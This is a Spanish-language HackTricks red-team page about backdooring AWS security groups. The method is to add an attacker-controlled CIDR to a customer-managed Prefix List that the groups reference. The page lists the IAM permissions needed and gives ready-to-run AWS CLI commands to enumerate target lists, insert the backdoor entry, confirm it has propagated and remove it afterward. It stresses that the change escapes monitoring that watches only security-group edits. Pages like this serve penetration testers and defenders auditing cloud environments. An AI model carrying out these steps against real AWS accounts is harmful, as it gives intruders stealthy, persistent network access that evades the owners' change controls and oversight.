AWS - Security Group Backdoor via Managed Prefix Lists

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Abusar de customer-managed Prefix Lists para crear una vía de acceso sigilosa. Si una security group (SG) rule referencia una managed Prefix List, cualquiera con la capacidad de modificar esa lista puede añadir silenciosamente CIDRs controlados por el atacante. Cada SG (y potencialmente Network ACL o VPC endpoint) que haga referencia a la lista permitirá inmediatamente los nuevos rangos sin ningún cambio visible en el SG.

Impacto

  • Expansión instantánea de los rangos de IP permitidos para todos los SG que referencian la prefix list, eludiendo los controles de cambio que solo monitorizan las ediciones de SG.
  • Permite backdoors persistentes de ingress/egress: mantener el CIDR malicioso oculto en la prefix list mientras la SG rule aparece sin cambios.

Requisitos

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (to identify attached SGs)
  • Optional: ec2:CreateManagedPrefixList if creating a new one for testing.
  • Entorno: Al menos una SG rule que referencia la customer-managed Prefix List objetivo.

Variables

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Pasos del ataque

  1. Enumerar listas de prefijos candidatas y sus consumidores
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Usa aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID para confirmar qué reglas de SG dependen de la lista.

  1. Add attacker CIDR to the prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Validar la propagación a los grupos de seguridad
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

El tráfico desde $ENTRY_CIDR ahora está permitido dondequiera que se haga referencia a la prefix list (comúnmente reglas de salida en egress proxies o reglas de entrada en servicios compartidos).

Evidencia

  • get-managed-prefix-list-entries refleja el CIDR del atacante y la descripción.
  • describe-security-group-rules aún muestra la regla SG original que referencia la prefix list (no hay registro de modificación de la SG), sin embargo el tráfico desde el nuevo CIDR funciona.

Limpieza

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks